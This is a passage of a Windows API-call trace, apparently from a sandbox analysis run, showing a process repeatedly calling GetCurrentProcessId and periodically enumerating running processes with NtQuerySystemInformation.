0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.083] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.084] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.085] GetCurrentProcessId () returned 0x10c0 [0247.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0247.645] GetCurrentProcessId () returned 0x10c0 [0247.645] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.646] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.647] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.648] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.649] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.670] GetCurrentProcessId () returned 0x10c0 [0247.671] GetCurrentProcessId () returned 0x10c0 [0248.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0248.219] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.220] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.221] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.222] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.223] GetCurrentProcessId () returned 0x10c0 [0248.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.731] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.733] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.734] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.735] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.736] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0248.737] GetCurrentProcessId () returned 0x10c0 [0249.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.286] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.287] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.288] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.289] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.290] GetCurrentProcessId () returned 0x10c0 [0249.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] GetCurrentProcessId () returned 0x10c0 [0249.871] 